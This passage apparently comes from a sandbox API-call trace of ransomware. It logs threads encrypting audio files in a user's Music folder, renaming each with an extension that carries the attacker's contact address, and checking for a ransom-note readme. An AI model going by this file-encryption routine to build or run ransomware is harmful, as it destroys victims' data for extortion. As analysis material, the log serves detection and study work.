returned 1 [0071.940] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e8e8) returned 1 [0071.941] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e848) returned 1 [0071.941] CloseHandle (hObject=0x7bc) returned 1 [0071.941] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x98) returned 0x33ead70 [0071.941] wcscpy (in: _Dest=0x33ead70, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\L4mVU2o2Nsy.wav" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\L4mVU2o2Nsy.wav") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\L4mVU2o2Nsy.wav" [0071.941] wcscat (in: _Dest=0x33ead70, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\L4mVU2o2Nsy.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\L4mVU2o2Nsy.wav.mailto[kokoklock@cock.li].d0e731" [0071.941] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\L4mVU2o2Nsy.wav" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\l4mvu2o2nsy.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\L4mVU2o2Nsy.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\l4mvu2o2nsy.wav.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.941] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\L4mVU2o2Nsy.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0071.942] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ead70) returned 1 [0071.942] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\L4mVU2o2Nsy.wav", dwFileAttributes=0x20) returned 0 [0071.942] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426df8 [0071.942] wcscpy (in: _Dest=0x3426df8, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0071.942] wcscat (in: _Dest=0x3426df8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt" [0071.942] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\d0e731-readme.txt")) returned 0x20 [0071.942] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426df8) returned 1 [0071.942] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34802a0) returned 1 [0071.942] RtlExitUserThread (Status=0x1) Thread: id = 497 os_tid = 0x1388 [0071.943] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\oimDYv2chNoPOq8FJjK.mp3" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\oimdyv2chnopoq8fjjk.mp3")) returned 0x20 [0071.943] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\oimDYv2chNoPOq8FJjK.mp3", dwFileAttributes=0x20) returned 1 [0071.944] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\oimDYv2chNoPOq8FJjK.mp3" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\oimdyv2chnopoq8fjjk.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7bc [0071.944] GetFileSizeEx (in: hFile=0x7bc, lpFileSize=0x1463fcf0 | out: lpFileSize=0x1463fcf0*=20059) returned 1 [0071.944] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x4e57, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.944] ReadFile (in: hFile=0x7bc, lpBuffer=0x1463fcc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1463fcc0, lpOverlapped=0x0 | out: lpBuffer=0x1463fcc4*, lpNumberOfBytesRead=0x1463fcc0*=0x4, lpOverlapped=0x0) returned 1 [0071.944] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.944] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e898 [0071.944] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eaa0 [0071.944] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e9b0 [0071.944] NtQuerySystemTime (in: CurrentTime=0x1463fc9c | out: CurrentTime=0x1463fc9c*=132121176298379210) returned 0x0 [0071.944] RtlRandom (in: Seed=0x1463fca8 | out: Seed=0x1463fca8) returned 0x9bbb3014 [0071.944] RtlRandom (in: Seed=0x1463fca8 | out: Seed=0x1463fca8) returned 0x7cef7834 [0071.944] RtlRandom (in: Seed=0x1463fca8 | out: Seed=0x1463fca8) returned 0xc26a031b [0071.944] RtlRandom (in: Seed=0x1463fca8 | out: Seed=0x1463fca8) returned 0x6768c1a6 [0071.944] RtlRandom (in: Seed=0x1463fca8 | out: Seed=0x1463fca8) returned 0x9d04c54f [0071.944] RtlRandom (in: Seed=0x1463fca8 | out: Seed=0x1463fca8) returned 0xdafbb82a [0071.944] RtlRandom (in: Seed=0x1463fca8 | out: Seed=0x1463fca8) returned 0x980947f7 [0071.944] RtlRandom (in: Seed=0x1463fca8 | out: Seed=0x1463fca8) returned 0x9e1656f9 [0071.944] RtlRandom (in: Seed=0x1463fca8 | out: Seed=0x1463fca8) returned 0xc0c7cf58 [0071.944] RtlRandom (in: Seed=0x1463fca8 | out: Seed=0x1463fca8) returned 0x7b689a55 [0071.944] RtlRandom (in: Seed=0x1463fca8 | out: Seed=0x1463fca8) returned 0x429f07d3 [0071.945] RtlRandom (in: Seed=0x1463fca8 | out: Seed=0x1463fca8) returned 0x3fe18bb [0071.945] RtlRandom (in: Seed=0x1463fca8 | out: Seed=0x1463fca8) returned 0x925204c0 [0071.945] RtlRandom (in: Seed=0x1463fca8 | out: Seed=0x1463fca8) returned 0x8ac1bdec [0071.945] RtlRandom (in: Seed=0x1463fca8 | out: Seed=0x1463fca8) returned 0x26ab1561 [0071.945] RtlRandom (in: Seed=0x1463fca8 | out: Seed=0x1463fca8) returned 0x104b3814 [0071.945] RtlRandom (in: Seed=0x1463fca8 | out: Seed=0x1463fca8) returned 0x7c1031f9 [0071.945] RtlRandom (in: Seed=0x1463fca8 | out: Seed=0x1463fca8) returned 0x7fafff5d [0071.945] RtlRandom (in: Seed=0x1463fca8 | out: Seed=0x1463fca8) returned 0x2cfb700d [0071.945] RtlRandom (in: Seed=0x1463fca8 | out: Seed=0x1463fca8) returned 0x47331827 [0071.945] RtlRandom (in: Seed=0x1463fca8 | out: Seed=0x1463fca8) returned 0xb0fbcc35 [0071.945] RtlRandom (in: Seed=0x1463fca8 | out: Seed=0x1463fca8) returned 0x833d2780 [0071.945] RtlRandom (in: Seed=0x1463fca8 | out: Seed=0x1463fca8) returned 0x4755fc47 [0071.945] RtlRandom (in: Seed=0x1463fca8 | out: Seed=0x1463fca8) returned 0x4bba2657 [0071.945] RtlRandom (in: Seed=0x1463fca8 | out: Seed=0x1463fca8) returned 0xb63aa2fa [0071.945] RtlRandom (in: Seed=0x1463fca8 | out: Seed=0x1463fca8) returned 0xd4bf637f [0071.945] RtlRandom (in: Seed=0x1463fca8 | out: Seed=0x1463fca8) returned 0x8e6810dd [0071.945] RtlRandom (in: Seed=0x1463fca8 | out: Seed=0x1463fca8) returned 0x5b1fc811 [0071.945] RtlRandom (in: Seed=0x1463fca8 | out: Seed=0x1463fca8) returned 0xb96c94de [0071.945] RtlRandom (in: Seed=0x1463fca8 | out: Seed=0x1463fca8) returned 0xd7113aca [0071.945] RtlRandom (in: Seed=0x1463fca8 | out: Seed=0x1463fca8) returned 0x30d8acc8 [0071.945] RtlRandom (in: Seed=0x1463fca8 | out: Seed=0x1463fca8) returned 0xb8b061f1 [0072.071] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.071] ReadFile (in: hFile=0x7bc, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1463fc74, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1463fc74*=0x4096, lpOverlapped=0x0) returned 1 [0072.071] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.071] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fce90 [0072.071] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0072.071] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e8c0 [0072.072] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e8c0) returned 1 [0072.072] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0072.072] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0072.072] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e820 [0072.072] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e820) returned 1 [0072.072] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0072.072] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce90) returned 1 [0072.072] WriteFile (in: hFile=0x7bc, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1463fc74, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x1463fc74*=0x4096, lpOverlapped=0x0) returned 1 [0072.072] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0072.072] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x4e5b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.073] WriteFile (in: hFile=0x7bc, lpBuffer=0x341ea28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1463fcac, lpOverlapped=0x0 | out: lpBuffer=0x341ea28*, lpNumberOfBytesWritten=0x1463fcac*=0x20, lpOverlapped=0x0) returned 1 [0072.073] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea28) returned 1 [0072.073] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0072.073] WriteFile (in: hFile=0x7bc, lpBuffer=0x341e848*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1463fcc0, lpOverlapped=0x0 | out: lpBuffer=0x341e848*, lpNumberOfBytesWritten=0x1463fcc0*=0x8, lpOverlapped=0x0) returned 1 [0072.073] WriteFile (in: hFile=0x7bc, lpBuffer=0x1463fcd8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1463fcc0, lpOverlapped=0x0 | out: lpBuffer=0x1463fcd8*, lpNumberOfBytesWritten=0x1463fcc0*=0x4, lpOverlapped=0x0) returned 1 [0072.073] WriteFile (in: hFile=0x7bc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1463fcc0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1463fcc0*=0x4, lpOverlapped=0x0) returned 1 [0072.073] WriteFile (in: hFile=0x7bc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1463fcc0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1463fcc0*=0x6c, lpOverlapped=0x0) returned 1 [0072.073] WriteFile (in: hFile=0x7bc, lpBuffer=0x341eaa0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1463fcc0, lpOverlapped=0x0 | out: lpBuffer=0x341eaa0*, lpNumberOfBytesWritten=0x1463fcc0*=0x20, lpOverlapped=0x0) returned 1 [0072.073] WriteFile (in: hFile=0x7bc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1463fcc0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1463fcc0*=0x4, lpOverlapped=0x0) returned 1 [0072.073] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eaa0) returned 1 [0072.073] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e8e8) returned 1 [0072.073] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e848) returned 1 [0072.073] CloseHandle (hObject=0x7bc) returned 1 [0072.073] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa8) returned 0x33c8f68 [0072.073] wcscpy (in: _Dest=0x33c8f68, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\oimDYv2chNoPOq8FJjK.mp3" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\oimDYv2chNoPOq8FJjK.mp3") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\oimDYv2chNoPOq8FJjK.mp3" [0072.074] wcscat (in: _Dest=0x33c8f68, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\oimDYv2chNoPOq8FJjK.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\oimDYv2chNoPOq8FJjK.mp3.mailto[kokoklock@cock.li].d0e731" [0072.074] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\oimDYv2chNoPOq8FJjK.mp3" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\oimdyv2chnopoq8fjjk.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\oimDYv2chNoPOq8FJjK.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\oimdyv2chnopoq8fjjk.mp3.mailto[kokoklock@cock.li].d0e731")) returned 1 [0072.074] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\oimDYv2chNoPOq8FJjK.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0072.074] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c8f68) returned 1 [0072.074] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\oimDYv2chNoPOq8FJjK.mp3", dwFileAttributes=0x20) returned 0 [0072.074] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426df8 [0072.074] wcscpy (in: _Dest=0x3426df8, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0072.075] wcscat (in: _Dest=0x3426df8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt" [0072.075] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\d0e731-readme.txt")) returned 0x20 [0072.075] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426df8) returned 1 [0072.075] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347da80) returned 1 [0072.075] RtlExitUserThread (Status=0x1) Thread: id = 498 os_tid = 0x138c [0072.076] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\p06GaNFXGZG087a_slOi.m4a" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\p06ganfxgzg087a_sloi.m4a")) returned 0x20 [0072.076] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\p06GaNFXGZG087a_slOi.m4a", dwFileAttributes=0x20) returned 1 [0072.076] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\p06GaNFXGZG087a_slOi.m4a" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\p06ganfxgzg087a_sloi.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7bc [0072.077] GetFileSizeEx (in: hFile=0x7bc, lpFileSize=0x146bf904 | out: lpFileSize=0x146bf904*=31257) returned 1 [0072.077] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x7a15, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.077] ReadFile (in: hFile=0x7bc, lpBuffer=0x146bf8d8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x146bf8d4, lpOverlapped=0x0 | out: lpBuffer=0x146bf8d8*, lpNumberOfBytesRead=0x146bf8d4*=0x4, lpOverlapped=0x0) returned 1 [0072.077] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.077] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e898 [0072.077] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eaa0 [0072.077] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e9d8 [0072.077] NtQuerySystemTime (in: CurrentTime=0x146bf8b0 | out: CurrentTime=0x146bf8b0*=132121176299629038) returned 0x0 [0072.077] RtlRandom (in: Seed=0x146bf8bc | out: Seed=0x146bf8bc) returned 0x86002e4d [0072.077] RtlRandom (in: Seed=0x146bf8bc | out: Seed=0x146bf8bc) returned 0x25e967e1 [0072.077] RtlRandom (in: Seed=0x146bf8bc | out: Seed=0x146bf8bc) returned 0xaf0dcb1a [0072.077] RtlRandom (in: Seed=0x146bf8bc | out: Seed=0x146bf8bc) returned 0xc1d5880c [0072.077] RtlRandom (in: Seed=0x146bf8bc | out: Seed=0x146bf8bc) returned 0x3f178e16 [0072.077] RtlRandom (in: Seed=0x146bf8bc | out: Seed=0x146bf8bc) returned 0xc073bda3 [0072.077] RtlRandom (in: Seed=0x146bf8bc | out: Seed=0x146bf8bc) returned 0x85bac008 [0072.077] RtlRandom (in: Seed=0x146bf8bc | out: Seed=0x146bf8bc) returned 0xb2f3d1d0 [0072.077] RtlRandom (in: Seed=0x146bf8bc | out: Seed=0x146bf8bc) returned 0xb5d8df26 [0072.077] RtlRandom (in: Seed=0x146bf8bc | out: Seed=0x146bf8bc) returned 0x53591ac6 [0072.077] RtlRandom (in: Seed=0x146bf8bc | out: Seed=0x146bf8bc) returned 0xfcc6900e [0072.077] RtlRandom (in: Seed=0x146bf8bc | out: Seed=0x146bf8bc) returned 0x380ed7c4 [0072.077] RtlRandom (in: Seed=0x146bf8bc | out: Seed=0x146bf8bc) returned 0xca47a959 [0072.077] RtlRandom (in: Seed=0x146bf8bc | out: Seed=0x146bf8bc) returned 0x2acd2f3c [0072.077] RtlRandom (in: Seed=0x146bf8bc | out: Seed=0x146bf8bc) returned 0xaab2a6c8 [0072.077] RtlRandom (in: Seed=0x146bf8bc | out: Seed=0x146bf8bc) returned 0xa55d0578 [0072.077] RtlRandom (in: Seed=0x146bf8bc | out: Seed=0x146bf8bc) returned 0x4c454d16 [0072.078] RtlRandom (in: Seed=0x146bf8bc | out: Seed=0x146bf8bc) returned 0xfbbf0532 [0072.078] RtlRandom (in: Seed=0x146bf8bc | out: Seed=0x146bf8bc) returned 0xfb48a87f [0072.078] RtlRandom (in: Seed=0x146bf8bc | out: Seed=0x146bf8bc) returned 0x89b27279 [0072.078] RtlRandom (in: Seed=0x146bf8bc | out: Seed=0x146bf8bc) returned 0xe64b92aa [0072.078] RtlRandom (in: Seed=0x146bf8bc | out: Seed=0x146bf8bc) returned 0xd0b55c41 [0072.078] RtlRandom (in: Seed=0x146bf8bc | out: Seed=0x146bf8bc) returned 0x56a66d16 [0072.078] RtlRandom (in: Seed=0x146bf8bc | out: Seed=0x146bf8bc) returned 0x9546bca4 [0072.078] RtlRandom (in: Seed=0x146bf8bc | out: Seed=0x146bf8bc) returned 0x80734350 [0072.078] RtlRandom (in: Seed=0x146bf8bc | out: Seed=0x146bf8bc) returned 0xbfd97827 [0072.078] RtlRandom (in: Seed=0x146bf8bc | out: Seed=0x146bf8bc) returned 0x828fdbaa [0072.078] RtlRandom (in: Seed=0x146bf8bc | out: Seed=0x146bf8bc) returned 0xb807db02 [0072.078] RtlRandom (in: Seed=0x146bf8bc | out: Seed=0x146bf8bc) returned 0x74df71a4 [0072.078] RtlRandom (in: Seed=0x146bf8bc | out: Seed=0x146bf8bc) returned 0x3587eb1e [0072.078] RtlRandom (in: Seed=0x146bf8bc | out: Seed=0x146bf8bc) returned 0x816a5e72 [0072.078] RtlRandom (in: Seed=0x146bf8bc | out: Seed=0x146bf8bc) returned 0x47b31824 [0072.090] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.090] ReadFile (in: hFile=0x7bc, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x146bf888, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x146bf888*=0x4096, lpOverlapped=0x0) returned 1 [0072.090] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.090] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fce90 [0072.090] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0072.090] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e8c0 [0072.090] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e8c0) returned 1 [0072.090] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0072.091] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0072.091] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e820 [0072.091] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e820) returned 1 [0072.091] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0072.091] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce90) returned 1 [0072.091] WriteFile (in: hFile=0x7bc, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x146bf888, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x146bf888*=0x4096, lpOverlapped=0x0) returned 1 [0072.091] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0072.091] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x7a19, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.091] WriteFile (in: hFile=0x7bc, lpBuffer=0x341ea28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x146bf8c0, lpOverlapped=0x0 | out: lpBuffer=0x341ea28*, lpNumberOfBytesWritten=0x146bf8c0*=0x20, lpOverlapped=0x0) returned 1 [0072.091] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea28) returned 1 [0072.091] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0072.091] WriteFile (in: hFile=0x7bc, lpBuffer=0x341e848*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x146bf8d4, lpOverlapped=0x0 | out: lpBuffer=0x341e848*, lpNumberOfBytesWritten=0x146bf8d4*=0x8, lpOverlapped=0x0) returned 1 [0072.091] WriteFile (in: hFile=0x7bc, lpBuffer=0x146bf8ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x146bf8d4, lpOverlapped=0x0 | out: lpBuffer=0x146bf8ec*, lpNumberOfBytesWritten=0x146bf8d4*=0x4, lpOverlapped=0x0) returned 1 [0072.091] WriteFile (in: hFile=0x7bc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x146bf8d4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x146bf8d4*=0x4, lpOverlapped=0x0) returned 1 [0072.091] WriteFile (in: hFile=0x7bc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x146bf8d4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x146bf8d4*=0x6c, lpOverlapped=0x0) returned 1 [0072.092] WriteFile (in: hFile=0x7bc, lpBuffer=0x341eaa0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x146bf8d4, lpOverlapped=0x0 | out: lpBuffer=0x341eaa0*, lpNumberOfBytesWritten=0x146bf8d4*=0x20, lpOverlapped=0x0) returned 1 [0072.092] WriteFile (in: hFile=0x7bc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x146bf8d4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x146bf8d4*=0x4, lpOverlapped=0x0) returned 1 [0072.092] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eaa0) returned 1 [0072.092] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e8e8) returned 1 [0072.092] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e848) returned 1 [0072.092] CloseHandle (hObject=0x7bc) returned 1 [0072.092] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xaa) returned 0x33e3538 [0072.092] wcscpy (in: _Dest=0x33e3538, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\p06GaNFXGZG087a_slOi.m4a" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\p06GaNFXGZG087a_slOi.m4a") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\p06GaNFXGZG087a_slOi.m4a" [0072.092] wcscat (in: _Dest=0x33e3538, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\p06GaNFXGZG087a_slOi.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\p06GaNFXGZG087a_slOi.m4a.mailto[kokoklock@cock.li].d0e731" [0072.092] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\p06GaNFXGZG087a_slOi.m4a" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\p06ganfxgzg087a_sloi.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\p06GaNFXGZG087a_slOi.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\p06ganfxgzg087a_sloi.m4a.mailto[kokoklock@cock.li].d0e731")) returned 1 [0072.093] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\p06GaNFXGZG087a_slOi.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0072.093] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3538) returned 1 [0072.093] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\p06GaNFXGZG087a_slOi.m4a", dwFileAttributes=0x20) returned 0 [0072.093] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3427000 [0072.093] wcscpy (in: _Dest=0x3427000, 